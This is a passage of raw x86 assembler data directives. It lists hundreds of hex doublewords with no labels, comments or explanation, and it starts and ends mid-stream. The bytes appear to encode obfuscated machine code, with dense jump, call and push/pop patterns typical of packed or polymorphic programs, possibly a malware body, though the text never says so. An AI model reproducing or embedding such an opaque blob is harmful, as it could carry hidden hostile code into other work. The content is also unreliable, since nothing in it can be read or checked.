0C9F42F84h, 0F2D875BBh, 30983BCDh dd 0DE91Ch, 0E8A00000h, 298EF69Dh, 3B62F988h, 81A3C627h dd 1230AD3h, 0E7816669h, 6660973Dh, 0B966FE8Bh, 0E961BDDAh dd 12h, 654AA9B1h, 0AD4AE1BBh, 42427B77h, 0DFAD6283h, 81661D63h dd 0E931A5D3h, 8, 6617E597h, 55EC2678h, 0D9B0E781h, 0AE96E34h dd 77000000h, 0A6252633h, 4C5968A5h, 8A0FF8B0h, 2, 0BF0FF18Bh dd 6860FC2h, 60000000h, 61606160h, 0CB816661h, 0B866105Fh dd 0BE66EDC8h, 6E895ECh, 61000000h, 0C13A4FD6h, 0BF665166h dd 585A4E62h, 59F98B50h, 8D0FDE8Ah, 5, 9D38166h, 7C2810Ch dd 660BFD76h, 0F2240BAh, 1383h, 0EE900h, 8E60000h, 0F9B3EA7Dh dd 873FE3ABh, 997C7577h, 58565060h, 4850F5Eh, 66000000h dd 61B212BBh, 0FFBB70Fh, 28Dh, 81F2B500h, 0DC1716EEh, 0E8C28B76h dd 0Ch, 0FE4B09DEh, 0CE69C4B1h, 0FA600BB2h, 5EF2BF0Fh dd 9D50B966h, 0FE8h, 4A92E000h, 0C350A0B0h, 74D74DC1h dd 0F641BDE6h, 5259DF8Bh, 6870Fh, 850F0000h, 0 dd 9E85Ah, 9C6E0000h, 0F9D56F3Ch, 0FC974E75h, 0B8F0F58h dd 0E9000000h, 6, 0CB99964Bh, 0CA808DBFh, 0FFEB4F4h, 386h dd 0F78B6600h, 6075D980h, 51D7E181h, 0BF0F6930h, 99B861FEh dd 501A9482h, 61EDEA81h, 0F55F06EFh, 0FC20E081h, 0B70F7ACFh dd 28F0FD2h, 8B000000h, 0CF81FCC6h, 5302EE3Bh, 9B08AFB8h dd 0C8A0F1Ah, 0F000000h, 68Fh, 810F00h, 0F000000h, 584h dd 1BCABE00h, 0EA8A38A7h, 0BE960F8h, 81000000h, 76340042h dd 0DABA5001h, 81664440h, 610216CAh, 0E9C1BF0Fh, 0Dh, 5965FD8h dd 9F8AEA9Ah, 4F37C041h, 7635B995h, 0BF0F13FBh, 8C0FF5FBh dd 4, 124B866h, 929FB966h, 19820Fh, 14E90000h, 0FB000000h dd 0E61C5958h, 9EFE955h, 5623512Ah, 9C62E0BAh, 0F0BA410h dd 588h, 0E6816600h, 0E860E6D3h, 14h, 2792972Ah, 0FC68E2F7h dd 0BB9F644Dh, 4BCA51F3h, 78FC85C1h, 6830F5Ah, 0F000000h dd 86h, 0BA666100h, 41B33C84h, 0DE8h, 54CCCB00h, 0A1049C96h dd 0C710D554h, 0F602647h, 87h, 0E3816600h, 5F616244h, 0FFB8B66h dd 0EE9C8B7h, 0B8000000h, 0AF38C6DAh, 7887EA09h, 0F63173D1h dd 0E681668Ah, 0FFC4D7Eh, 1785h, 11860F00h, 0E9000000h dd 0Ch, 3F91C7BAh, 0E2E95E65h, 8DC6E95Ah, 0AE9h, 0A8FB0F00h dd 43F57536h, 8BBB5E27h, 0FA1B0C7h, 2682h, 10E800h, 794D0000h dd 240E290Ch, 0C1E6104Eh, 0CFBAFF1Ah, 0BE9A70Ch, 0DA000000h dd 0D590CAF4h, 0F3A47804h, 0E85976E8h, 0Dh, 0EA505179h dd 7960E088h, 9E02A499h, 0F0805247h, 665A5BF7h, 0FE9AD881h dd 0EF9CCB81h, 14E92183h, 40000000h, 7753DBD3h, 467290D1h dd 70A98751h, 66C5D82Eh, 60C0D07Eh, 7E9h, 447C2A00h, 7D4C118h dd 0CE9h, 265A7100h, 0E979907Eh, 2EE4CC7Bh, 96BE6144h dd 663A026Fh, 0B390B6BAh, 69BE669Dh, 2EEF81D0h, 53082E79h dd 3C6739BAh, 6660581Ch, 78CAE081h, 0FB8B61F5h, 4830Fh dd 0BF660000h, 7E9FFEDh, 0F5000000h, 0B3B4FA9Ah, 8E9AC03h dd 94000000h, 0B3280026h, 0BEBA99B7h, 347F5936h, 8E9h dd 0CA423300h, 746C491Eh, 0AE9FCA5h, 0A1000000h, 5535E90Bh dd 241D61C6h, 0D98BF897h, 7DF780F9h, 0BE8F38Bh, 0D3000000h dd 0F75E8B01h, 76969EC3h, 605A8FC3h, 2F23BF66h, 8A613DB2h dd 57F681F0h, 0F03BCB2h, 381h, 0EADB8000h, 0C6E18166h dd 0E28160B5h, 4A56CD1Dh, 14E961FCh, 65000000h, 53EE074Eh dd 0E8FFD898h, 723B6FC2h, 576B54CFh, 0FDD47C4h, 87h, 0F6BE6600h dd 0C28B665Bh, 840F5951h, 0Ah, 5E9h, 0E4896F00h, 14E8B615h dd 74000000h, 5716BF8Eh, 5E7D54C9h, 7C7AFB31h, 0D9B1ADB4h dd 8BD0EDC5h, 11E959F1h, 60000000h, 0BA9E7F75h, 91A26718h dd 0B2B9138Ch, 0E75B95Ch, 0FE8BF560h, 38B0F61h, 0F000000h dd 6660F2BFh, 0BE73DDBAh, 240DCEADh, 1DD88161h, 8B53EB57h dd 5E9D8h, 70250000h, 0E9AFA8EAh, 9, 4DF8613Bh, 783BD88h dd 5E80Dh, 879F0000h, 515A1817h, 5B5BC88Bh, 6E9h, 74221900h dd 0F09D443h, 81h, 850F6000h, 2, 61F95F50h, 0F1BF0F60h dd 0AAB7EDBFh, 890F6178h, 4, 0E2C6BA66h, 6870Fh, 0F6810000h dd 6774A2F6h, 9864D281h, 8BFC2BDDh, 8DDE81F2h, 0FC758EBEh dd 7E9h, 0BBDA9700h, 0F65E62Ch, 0BED68B66h, 5F60B811h dd 0FE957h, 9AA00000h, 690231C7h, 9C934B8Ch, 72452653h dd 91BB5AE9h, 0F85DDE13h, 12E9h, 0E58E7A00h, 2399BE28h dd 737B769Eh, 0C7BFC543h, 0F9A46EDCh, 5870Fh, 81660000h dd 8B6E82EAh, 0A2D580C6h, 8BC2B70Fh, 1860FD0h, 0F5000000h dd 0DE8166F8h, 9AB2DD93h, 0C8BF0F52h, 4DBB665Bh, 5870F57h dd 66000000h, 60FDC381h, 0F2D38166h, 0C381667Eh, 0EB800CF3h dd 11E9C8h, 4E000000h, 2F018F74h, 598889ABh, 0CD304FACh dd 0E93BFD01h, 0Ch, 2D9941Ch, 7B947681h, 55183889h, 0FE9h dd 0DCBF9400h, 9D9195E6h, 47D5A5E5h, 67529C84h, 72B358B3h dd 58E0Fh, 0E9BF0000h, 660B3257h, 0F9D4CB9h, 0D98BF8BFh dd 0BE6686B7h, 0FE93502h, 3C000000h, 0DBB90A5Dh, 0E010CD1h dd 392F7F4Ch, 81668F25h, 60F753DEh, 0F6BF0FF9h, 5E861h dd 0CD3B0000h, 812D146Ah, 0C1173C8h, 8E0F5843h, 5, 46DB8166h dd 3850F40h, 0F000000h, 10E8C7B7h, 47000000h, 5AD43EAAh dd 0E6DF4AABh, 0F43B9966h, 59ADC4B5h, 0A332B866h, 810FAEB0h dd 3, 0FD38B66h, 0DE9C3B7h, 10000000h, 0D21EC580h, 0EFEF1F8Fh dd 0F16E333Fh, 0AE9h, 62D88500h, 42112224h, 0E8C933F0h dd 8, 0EF91D740h, 74A3C1C1h, 3F0AB966h, 0BF0F5159h, 81665BCBh dd 0E8A50EEAh, 0Eh, 0D028A7D6h, 9D4704CAh, 0FE03E50Bh dd 0F2810639h, 28C44C44h, 60575659h, 515E5961h, 0F5BCDB6h dd 586h, 42D6BB00h, 70BE2431h, 0F80FDB97h, 5651F78Ah, 6178B966h dd 8B665858h, 0D38BF5D8h, 0D78166F8h, 8166C2D8h, 664D4AC8h dd 0DCBDC981h, 8104E480h, 37B2BFC9h, 0D9BE6616h, 9E856D8h dd 76000000h, 62DACCB1h, 0FA62DEDEh, 5ACE8B66h, 0BE958h dd 3B0E0000h, 0BE7DF403h, 1DB6E394h, 0CF816693h, 5E8555Fh dd 26000000h, 7ED9A8E4h, 535FEC8Ah, 0B9F08166h, 0ECB25EDFh dd 60C8BF0Fh, 0BF0F01B4h, 0C38B61FEh, 8C0FACB5h, 3, 0FCC9B70Fh dd 0F441B966h, 5E9h, 5E7C4400h, 820F89E2h, 2, 5E8F38Bh dd 88000000h, 38D6A006h, 0E9EB8A59h, 14h, 0CB8056B9h, 0BB4E91D4h dd 0F810A070h, 205A4312h, 3624B688h, 8AF98B66h, 9E8FEh dd 9A860000h, 4F8707ADh, 80E51FE5h, 815A1ED6h, 0BA538AC7h dd 5AFDB834h, 0DE95B49h, 2C000000h, 479FE06Dh, 1201288Eh dd 42FC67B2h, 0FCABF0Fh, 9E9CBBFh, 0D000000h, 2D5C6603h dd 66581237h, 0EA8166F9h, 0BE9AF01h, 86000000h, 727BC774h dd 27608E0Fh, 81665895h, 0E9F173E3h, 10h, 0BA893D10h, 6D6A3C29h dd 7456B53Eh, 3D422C97h, 9FD46DB8h, 11E81Ah, 34F40000h dd 4A1AEA0Ah, 0BEAEB108h, 62A8E747h, 5ABB5C54h, 0FEED780h dd 5E8D9B7h, 40000000h, 0EB9F94CAh, 81CB8B59h, 0CD1C7C8h dd 0AE943h, 0B6E70000h, 0B772D309h, 920399DEh, 0FC28B66h dd 58Dh, 0C6816600h, 0D28134DCh, 6D85F9D8h, 66C78B66h dd 15C5E281h, 36A803B9h, 6850F51h, 81000000h, 0B2BA5AC9h dd 6E878h, 0E8560000h, 29C2AAE3h, 88C58060h, 8B0Fh, 5A610000h dd 66D3BF0Fh, 8B66CF8Bh, 0FE8B66C6h, 0CE9h, 0BA10500h dd 0C65535E9h, 97241D61h, 66DA8BDCh, 0CB8BDA8Bh, 0E8C1B70Fh dd 12h, 33359783h, 0C6E63F7Ch, 0C82F28BCh, 0ACA07C26h dd 58F95C64h, 4EF38166h, 0B9B966FDh, 0B2B866D4h, 0E3F681C9h dd 0BA5BC185h, 1DC3D6D6h, 0CAF2BA66h, 0FFCF1B6h, 8E8D0BFh dd 23000000h, 5F76DAC8h, 0FDFB8A4h, 565AD1B7h, 25EE8166h dd 5FB45972h, 0E9F9D88Bh, 13h, 41D2F0BBh, 54E442BDh, 0BA5F4C6Eh dd 4FE3BBAFh, 0E89116E1h, 10h, 0E5E49939h, 0A5B3B06h, 0DA45FE77h dd 3D0D86C1h, 5AFB8B66h, 48C0Fh, 60530000h dd 0F605961h, 682h, 8A0F00h, 56000000h, 8A0F6159h, 2, 0E950CA8Bh dd 9, 3B23E42Fh, 6EB95786h, 8E95A5Fh, 0CB000000h, 6ABCE889h dd 0FC8DEFEDh, 81CABF0Fh, 388A3BC7h, 2850F37h, 8B000000h dd 0C78B57F1h, 10E85Ah, 8BA50000h, 69A1B392h, 0DB5EC7A1h dd 4CD976FCh, 0EE810030h, 0B4A233Fh, 0CE95Ah, 0A7150000h dd 1D64B21h, 9EC951B0h, 60B897DCh, 0F6E8E7Dh, 0BF0FF0BFh dd 0FE8CAh, 0CFB20000h, 9663C294h, 8E795FE1h, 91EBF02Ah dd 5A12B21Bh, 64BE69B7h, 0B92049B1h, 0E5D494Ch, 0EE8h dd 0F991F900h, 0BEF2FBE9h, 0C8B30BA3h, 0E9EF6CCAh, 0Fh dd 7CC71FF7h, 0B52740F3h, 0EE836E95h, 5B20D3F7h, 13E8h dd 0E4836C00h, 0FF5EC337h, 770F51DEh, 7AE2C96Dh, 2BAE147Dh dd 0D5C8BE66h, 13E958h, 0ADF0000h, 0FCADC123h, 53A458C0h dd 283C87EEh, 8056B9AFh, 0BA66CBh, 8095B83Ch, 0CB81132Dh dd 633DD9DBh, 0C8B0Fh, 7E90000h, 0BD000000h, 0ADCFC135h dd 0FCB09D2Ah, 626CBB66h, 6088D380h, 61F6BF0Fh, 39F38166h dd 8166506Fh, 5F8159C6h, 6E9h, 71DE9F00h, 8B154343h, 66F8F8F1h dd 0F40FD881h, 76F28166h, 56F38A8Ch, 6160FC60h, 0E9535E61h dd 6, 9B8E58AAh, 0E958CFE4h, 13h, 6CCEBB2Ch, 0DDCCE273h dd 48E7A7ABh, 56BB54DFh, 0BB8211E2h, 2F4D9DF1h, 0E1BE6651h dd 81665B0Eh, 0F0165CAh, 870FCBB7h, 1Ah, 14E8h, 921A2200h dd 2C2221ECh, 0CEC0E21Fh, 0F0F627EBh, 1028E7C7h, 81665E30h dd 57C669EBh, 47A6FFBEh, 0C5B05B2Bh, 982DE781h, 66604EF3h dd 511FA9BFh, 61585951h, 0C0DE81F8h, 5145099Fh, 0AE9h dd 5B71C600h, 0A0E9DCB8h, 5BBD8393h, 984180B8h, 9CB9600Fh dd 0F7CA84Fh, 288h, 61EC8A00h, 247881B8h, 48A0F40h, 66000000h dd 8B8F2EB9h, 28D0FCEh, 8A000000h, 88C0FE6h, 53000000h dd 810Fh, 605E0000h, 1800Fh, 61F50000h, 810F60F5h, 3, 0B8CEC980h dd 209286DFh, 96C78161h, 0E937B694h, 10h, 2246C578h, 0D344956Bh dd 0A9BA09DFh, 0E294AF4Dh, 0B805D280h, 52A35576h, 0CA81D08Ah dd 282901F2h, 0C8BB46B6h, 0E87EBC3Ah, 12h, 69FAA172h, 356A3494h dd 0DA70B588h, 0DC42058Eh, 7E8429Bh, 3000000h, 822B580Dh dd 0EF818B79h, 60B98FA7h, 0F38B5E5Fh, 8E0Fh, 6E90000h dd 47000000h, 369AF910h, 0BE9F7h, 2D4B0000h, 554117Ch dd 6997C7E0h, 5BD3BA0Fh, 0CE911B3h, 55000000h, 0C6234100h dd 95C29E97h, 5315A655h, 5EFFB70Fh, 58F0Fh, 0F1BA0000h dd 0E90CC3A3h, 6, 6ABDD9F9h, 1CBAAA24h, 81098754h, 7926A2F7h dd 8BADB115h, 0E18166F1h, 0F28B42EAh, 6E91DB7h, 0C4000000h dd 9FBF4DB9h, 0FC78B6Ch, 0D08AC6B7h, 0EE0511BBh, 0E9E88A22h dd 7, 0B7E0957Fh, 0F9EF83Ch, 1985h, 14E900h, 5A2C0000h dd 0D3F37D93h, 0CAE5601Ch, 49DC9887h, 0DF72AB62h, 8C0FE35Eh dd 4, 5B5E5157h, 60C18166h, 11E8F9B5h, 0B1000000h, 658BE65Ah dd 14EA64D2h, 619B11ADh, 0E9F40F58h, 78B0F5Ah, 56000000h dd 25E78166h, 0DBB65B0Ah, 12E9h, 821A3200h, 0DDB05D52h dd 3E37F9A7h, 56E9CADFh, 81A22A30h, 32D817CFh, 0D9816669h dd 9E9C61Eh, 35000000h, 600CFAC2h, 750940F5h, 8E2099B8h dd 0F53F56Ch, 280h, 5BD38B00h, 0E86068B7h, 14h, 0BC63F9Ch dd 0ED4122B4h, 9F03D4h, 33A958ABh, 0D19EC490h, 7E9h, 0F8BAFE00h dd 0BEF3327Ch, 0D181665Eh, 0BE6107E8h, 2851182Dh, 0D3CE8166h dd 0C68B668Dh, 8B4ED380h, 0B70F50DEh, 0F605FF2h, 88h, 28D0F00h dd 50000000h, 0EE8615Bh, 1F000000h, 26F0AF29h, 63FF1914h dd 2B0FD5FDh, 0CE81Bh, 0CF7D0000h, 0ED93CA09h, 0F5EB04BEh dd 0CB8B1759h, 66605F58h, 0E97E70BFh, 9, 0A6236194h, 7A34A4DBh dd 41B961DFh, 0E911F43Eh, 6, 746F352Bh, 0BE66D67Eh, 14E9C8E3h dd 5F000000h, 0F15F6907h, 0A23ED0DCh, 0D844BC02h, 0AF87A78Bh dd 0FBAC08Eh, 0CE8BD3BFh, 60CABF0Fh, 616EB1FCh, 8C72F3BEh dd 10E8F927h, 0E9000000h, 60C89915h, 0F00BA291h, 799FF202h dd 5A09D34Eh, 8E0FD88Ah, 3, 0FD1BF0Fh, 48Ah, 0ACB96600h dd 0F87B2F9h, 1180h, 8E800h, 8BBA0000h, 3E627AB9h, 0BF0FB7DCh dd 8B665FC1h, 0D88B66F0h, 58B55E52h, 0ED08B966h, 0EE9h dd 4ED25700h, 73D7D2B6h, 60770C7Fh, 6651CCB6h, 665A75B9h dd 80F1E881h, 6EF2BA66h, 0ACB45760h, 61D7B45Eh, 800FEC8Ah dd 3, 57D7B70Fh, 5EF3B70Fh, 8B66CB8Bh, 0E98166DEh, 8A0FB4BCh dd 3, 66D98B66h, 603636BBh, 0DE9h, 0E14C5800h, 48095D35h dd 0E7D8F0A1h, 81662A13h, 61C29AD2h, 6662B660h, 0F61F88Bh dd 980h, 81F86000h, 494D5FE0h, 0E080617Dh, 0DEB70FC7h dd 0E9D88B60h, 13h, 6B965D70h, 93E10279h, 260626F2h, 54223952h dd 61CD429Ch, 8BC2B70Fh, 10E9D7h, 0B8080000h, 8A6B29C3h dd 0E0D1E736h, 61FE7BD3h, 0D38B4065h, 49E8B866h, 0AE8h dd 12624600h, 697C6595h, 0F132C76h, 0FC5ACFBFh, 4F0BBB66h dd 1304E3B8h, 6A14BA6Ch, 8166562Bh, 0FED0DF2h, 8166C1B7h dd 81FB02E8h, 81183DE7h, 13E840h, 28E50000h, 9E2399BEh dd 43737B76h, 0DCC7BFC5h, 5999A46Eh, 0E9F860A3h, 0Fh, 63842C01h dd 0FE2723B0h, 0C8762D75h, 610BBB57h, 8E959h, 80750000h dd 2EF1E1F0h, 11E830CFh, 31000000h, 0D33F409h, 0A9BCFD88h dd 0A8F470AFh, 5B822D09h, 0BE9h, 620EBF00h, 4EF43ECAh dd 0F338EA0h, 0E681665Fh, 0B70FBD3Dh, 0FF48AFEh, 684h dd 5F526000h, 66616160h, 3139C681h, 13E8h, 1AE48800h, 0BBC9704h dd 0D098DBFAh, 1FC7181Ah, 0ECF23197h, 9E8h, 2D36D000h dd 8B1C2C79h, 0B70F9C6Bh, 8A5F5EC6h, 0F6BF0FD9h, 8E32BA66h dd 10E9h, 0C98B2A00h, 0C8778480h, 71C17F1Eh, 2B0EA65Ch dd 890F6028h, 5, 775E55BEh, 0C3816108h, 7B5C649Dh, 0FC9BF0Fh dd 580h, 8B665700h, 0F38B58D1h, 0BA66C68Bh, 8B66F38Fh dd 0C4E781C6h, 6619ABADh, 0E90C1EBAh, 0Dh, 11D7C0A1h, 8A53C03Dh dd 0F206EA6Eh, 0D3B70FDBh, 35C4B860h, 0B70F3A7Fh, 0BF5361C9h dd 16C78189h, 8160FC5Eh, 0ED985DC9h, 0F2816605h, 0F561DA42h dd 6870Fh, 860F0000h, 0 dd 10860Fh, 0E9530000h, 9, 84AA753Dh, 834D3551h, 0EB815917h dd 56C4BBF1h, 0C850Fh, 8A0F0000h, 6, 0EFCECB81h, 0BB664E9Ch dd 0F58A71A7h, 861FF081h, 8B661F61h, 0E18166F3h, 0EABB547Ch dd 0E901DCF2h, 0Ah, 2FA464B4h, 0D9086294h, 80F91E1Eh, 8B6647EDh dd 9E8F0h, 641B0000h, 857A5A9Dh, 0FB0F6E7h, 665FFFB7h dd 0CC0DE381h, 8E9h, 5CCCD300h, 9D59CBB3h, 8B5A52BDh, 0D1CAB8D9h dd 0FEBA2002h, 0F4031F4h, 389h, 0FA8B6600h, 0FFBB70Fh dd 890FCBB7h, 3, 0E9F28B66h, 0Ah, 0D48AD1B1h, 8250F936h dd 830FCB60h, 9, 3850Fh, 0F1800000h, 12BE6665h, 12E9DDh dd 7DA50000h, 94D0B25h, 0DF60D6D8h, 18D6403Ch, 8D2F53D3h dd 18E08166h, 0FC8A5731h, 68D0F5Fh, 81000000h, 27926DF2h dd 0F18B6642h, 83D448BFh, 0F8C6811Dh, 6619972Bh, 850FDF8Bh dd 0Ch, 68A0Fh, 0E0810000h, 3ED1EC5Bh, 8FE280F5h, 0C38B6653h dd 8166515Bh, 5E3B78E7h, 11E9h, 5F8F1200h, 59E83CC7h, 3BEBC2CCh dd 0B598A60Eh, 81F9E100h, 68EA64CAh, 0EB816607h, 17BB0424h dd 5705AF49h, 5BF2B70Fh, 9E9h, 0B4DCD00h, 12BD91B5h, 7BBE4C16h dd 664693C6h, 0BE66D78Bh, 5DBA3E6Dh, 0E8400F0Fh, 8, 6725089h dd 0BD957ACAh, 0D18B6650h, 0BB66585Bh, 8B6606CAh, 0F7B70FD3h dd 51CABF0Fh, 6EBA6650h, 0F5F5E30h, 1787h, 12E900h, 23D40000h dd 9F1B7DABh, 651462E8h, 0E4A9885h, 8F07E5C7h, 0FE8B6651h dd 11E95Eh, 0E8C00000h, 35A223BDh, 0B5844E50h, 0CBBF1954h dd 0E8496875h, 0Dh, 5B506896h, 1A1D6749h, 0F697EE63h, 0CE9E0h dd 0CC0000h, 8AAC5E5Eh, 981A5021h, 0F5FD2F9h, 284h, 0E9FA8B00h dd 9, 7F463877h, 0F41F6E79h, 0D18BF579h, 0D4F08160h, 6616B34Ah dd 451CC381h, 0BE961h, 0A8020000h, 0C5B98C77h, 0DAE12B8Dh dd 0C8816665h, 81564825h, 0A24E54F2h, 5E95E71h, 0F5000000h dd 38F2A5B0h, 10E9h, 0A7B5E900h, 48E21701h, 2BE47770h dd 0F866975Eh, 880F18h, 66000000h, 0E381F28Bh, 4AF6DFBDh dd 6830Fh, 0C7810000h, 56BD1DB1h, 14E9h, 36497800h, 0CA58B624h dd 727EF89Ch, 5FE38BB4h, 0C1BC55CBh, 0FE990h, 6AF40000h dd 0BE9AF175h, 16E3349Bh, 0C4A46B13h, 8BD38BB2h, 0F8BF0FCFh dd 60FABF0Fh, 1860Fh, 80FC0000h, 60616AC8h, 12E9h, 202A1E00h dd 0F1017938h, 1DF5B4Eh, 0E134611Fh, 0E8D30F8Dh, 0Ch, 0C5758679h dd 385D4AF1h, 0E3F6688Ch, 7E9h, 39C3C800h, 147EC2D1h, 7CB6615Bh dd 502BB1BFh, 13800F6Dh, 0E8000000h, 0Bh, 520805ECh, 0F0D6A89Bh dd 0B3527BE7h, 8B0F5837h, 5, 0E2CB68B8h, 0AE95067h, 4A000000h dd 8985BCF9h, 482400D2h, 0C28B5A72h, 9E9FE8Bh, 0C4000000h dd 0BBB34C82h, 671577A7h, 5E8h, 0DA76100h, 0FC6063D4h dd 6149EC80h, 32B35059h, 88C0F5Fh, 0F000000h, 281h, 57616000h dd 0FE8h, 2E4F8A00h, 1B60F2FDh, 9DB97450h, 0D7F3A15Dh dd 585B5E53h, 0FA79F681h, 0FFC12FDh, 0ECBAD0B7h, 0E9338C5Ah dd 8, 24A24008h, 0DA7DB862h, 8C0Fh, 7E90000h, 71000000h dd 0D14E47DFh, 850F5409h, 4, 5EC78B50h, 9E8h, 549DE600h dd 0FA1CADE1h, 81584CA6h, 6708BBF1h, 38E0F2Dh, 0F000000h dd 0EE9CBBFh, 0E000000h, 0E6104E24h, 0BAFF1AC1h, 4EA70CCFh dd 8E8F1h, 0F9D0000h, 5C380D63h, 665FD4BFh, 0DC8ADA8Bh dd 0E9D18B66h, 14h, 0FF2EA1DEh, 51BCC56Eh, 7DE8803Dh, 1D68D90Ah dd 0A1401DA5h, 8A60C88Ah, 11E8EFh, 0FFCE0000h, 23B868CEh dd 2D930AAFh, 209F7F4h, 0FC87F5D1h, 0D981615Ah, 58A25789h dd 0DE8D38Ah, 0AF000000h, 0E3C101E9h, 0C50EB80Dh, 907BDD9Ch dd 11E9h, 708C000h, 2415178h, 0BA7E70D9h, 0F760A78h, 665B5CC2h dd 764EDE81h, 10E9h, 0F067100h, 7C0C16D2h, 561D4B46h, 0B841274Ch dd 66C38BD2h, 0FB8BF38Bh, 8BF78B66h, 14E9D6h, 27340000h dd 0C5758679h, 385D4AF1h, 0E3F6688Ch, 248160D8h, 0BF0FAFFBh dd 0C98166DAh, 8B66CF32h, 0BF0F51DEh, 0BF0F58F2h, 0C18B66D1h dd 3FBED38Ah, 0B61208E0h, 5E912h, 0F4CB0000h, 51A1B185h dd 0EEE1C381h, 665F220Eh, 66E59ABEh, 0E855F7BFh, 7, 196C3AFh dd 0E98D3670h, 0Dh, 20FFE08Dh, 0B6114E87h, 77567683h, 5360597Ah dd 19C38166h, 8D0F5BDCh, 4, 1FF8B966h, 0CE861h, 4B0A0000h dd 80041D81h, 18468BA9h, 8F0F4F23h, 14h, 0FE9h, 0AF187200h dd 59977769h, 6E9E8BC1h, 9283B2B6h, 58E0F59h, 0BF000000h dd 38FB3CAEh, 781BD081h, 14E96808h, 1E000000h, 2B2C6EF4h dd 54E89106h, 3D326E02h, 7FC63B63h, 0E9E69FF9h, 6, 984D0856h dd 8057D882h, 0F5A3EE5h, 0BF0FDBBFh, 0D68166F9h, 0BB66EAD0h dd 0D1813191h, 0A960137h, 0D9D6BE66h, 12830Fh, 0DE90000h dd 84000000h, 0BBC9F42Fh, 0CDF2D875h, 1C30983Bh, 0E9C88B66h dd 5, 9EF83CB7h, 0C281F53Dh, 2147B6CDh, 810Fh, 8A0F0000h dd 8, 50D08152h, 5A0B86FDh, 0DA58C7B8h, 8E0F5353h, 6, 0FE02EB81h dd 0F5867EDh, 1A8Dh, 0CE86000h, 4B000000h, 3D78630Ch, 436134E1h dd 5B630B73h, 8D0Fh, 81610000h, 336E69C1h, 7E863h, 1D8E0000h dd 5947D07Bh, 5E4DB551h, 490AC2BBh, 10E851h, 8C520000h dd 0DD17F20Ah, 0C866A7F4h, 0AA1ECD27h, 5BF58AFFh, 0FC6B70Fh dd 584h, 8BF56000h, 0B70F61FBh, 0FA8B66FBh, 88C35CB9h dd 0E8FE8B47h, 8, 0F1BC65D5h, 0D56564A3h, 0DBBF0F5Ah, 0E9C38B66h dd 13h, 82CC99D1h, 66BE3F04h, 0F022BD61h, 5A8D3A53h, 66A8484Ah dd 6694DEBAh, 860FF28Bh, 4, 1119BA66h, 0A3CC80F9h, 615B5260h dd 0FFABF0Fh, 0D8Ch, 8E900h, 68C90000h, 65C12B2Dh, 8EBE67E0h dd 0E968323Fh, 9, 42DEBE67h, 16779207h, 8E9DFh, 0BE270000h dd 212EAB9Eh, 0D280038Ch, 66EDB8CFh, 0E88A41FAh, 0D68B66F5h dd 0F480CF8Bh, 0B70FFC7Ah, 91BF66C7h, 8BB8603Bh, 606E3A9Ah dd 616160FCh, 1B830F61h, 0E8000000h, 13h, 0F07499A9h, 76072635h dd 486C7DC2h, 7243AA2Ah, 5721AB47h, 8B665959h, 87F780F9h dd 0C2ABB866h, 12E8h, 88612B00h, 3B80E621h, 0A99C518Dh dd 53C6D74Fh, 0F54A0130h, 0DE95359h, 0F9000000h, 9314D0D2h dd 15A7F9B7h, 66F5D617h, 5BBB665Eh, 0B9F56011h, 1714A835h dd 0F3DC8061h, 8C0FF28Bh, 6, 10A0F081h, 0FE8179Eh, 3000000h dd 0B0FBB735h, 433F3F8Bh, 6309A631h, 0B70FBE27h, 2BE58D6h dd 801BBC93h, 0BCB367ECh, 0F681FE8Ah, 2F966594h, 66F38B66h dd 0BBF8D7BEh, 4073FD7Dh, 0FE91B866h, 1A18BB66h, 0BF0FC38Bh dd 874CB9F1h, 0E8814050h, 19B0E25Bh, 66C2BF0Fh, 8AB32BBBh dd 6ABA66DEh, 8B66602Ah, 8BF861F9h, 0BDCF80C6h, 0BE665660h dd 815AD431h, 72AB6DEEh, 81FC6147h, 68433DE6h, 3850F29h dd 80000000h, 14E94ADCh, 5C000000h, 0FF1DAAC4h, 7EF4AE47h dd 5A762F56h, 5BC954A5h, 0BF6A67D0h, 73785820h dd 880FC18Bh, 0 dd 6E957h, 0F2660000h, 99FDBF7Bh, 10E85Ah, 8BEF0000h, 963A72DCh dd 0E147E82Ah, 87F6649Eh, 0BA66E1F4h, 665B3ECAh, 8166F18Bh dd 815055CFh, 4FC04EC1h, 85B86646h, 7CBA57ACh, 5E1811C8h dd 0BF6AF081h, 80F5592Bh, 3FB208CFh, 3709E281h, 0CE80DD9h dd 0FC000000h, 0E73C5482h, 0FC9674C7h, 602DDEE3h, 8D0Fh dd 61F50000h, 0D8E9815Bh, 8A027307h, 0CE9C2h, 9A0E0000h dd 94A094A5h, 559A1E7Dh, 14E9BBB5h, 0A1000000h, 731F436Dh dd 3349BFA7h, 0D08BD3B0h, 3FE22CB7h, 663668CCh, 0CA3AD281h dd 0D7A4D681h, 0E851183Fh, 11h, 75231EE4h, 0ABC025B0h dd 0D2E4C098h, 2B82DD2Dh, 5F7BB00Ch, 203ABF5Ah, 0C181184Ah dd 767D505Bh, 0D78B6050h, 0BF665861h, 665684AEh, 605AD68Bh dd 0E1816660h, 8E97AFEh, 0ED000000h, 958D37DEh, 61404076h dd 0F615A53h, 0B866F0BFh, 13E946EBh, 0D0000000h, 5426B0A0h dd 87672370h, 7280E7EFh, 7A6E1AD6h, 47B4A771h, 0CE9CE8Ah dd 7E000000h, 59167917h, 0D1C59572h, 811E43B6h, 0B2B5DEC0h dd 29F68103h, 0B6568E2Bh, 1BF781AAh, 0F68043Ch, 1380h dd 0AE800h, 0D4510000h, 85C07F17h, 92BED3F5h, 59CA8B66h dd 8890Fh, 81560000h, 0F3FF6AC1h, 850F5B34h, 3, 66F1B70Fh dd 0E89370B8h, 8, 0D650AD6Dh, 64578BA8h, 61D08166h, 0D88A5FFEh dd 0CE956h, 63D90000h, 0AE1C6177h, 11DBF903h, 0F95AD0B9h dd 0CC80D58Ah, 0E9F88A3Dh, 7, 0E138F886h, 0FC6C929h, 8Bh dd 0EE95600h, 0F4000000h, 933B7E53h, 0BEB7524Ch, 4E12DAEh dd 816658D4h, 66D7CCC2h, 0BE66C18Bh, 81F5445Dh, 2631A2F6h dd 5E825h, 30A00000h, 5EA2D974h, 81F7BF0Fh, 91E309CFh dd 0F78B6630h, 0F18BF960h, 0CF8B6661h, 11E9h, 0F943C700h dd 0C18899Bh, 958815BEh, 0D7BDF4C3h, 0BF66D964h, 860F7E26h dd 5, 14A1B7BFh, 67BB6648h, 0DE8B6635h, 0BF0FEC8Ah, 14E860F9h dd 0BD000000h, 0C2D31900h, 6C6E34F8h, 0E72E9913h, 79EC8A99h dd 663B30CDh, 815AD88Bh, 0CA977BE9h, 0CE86119h, 0AE000000h dd 5BD27244h, 5C56AD43h, 66830FBDh, 0CFDBD681h, 0FC38A5Ah dd 387h, 30C68000h, 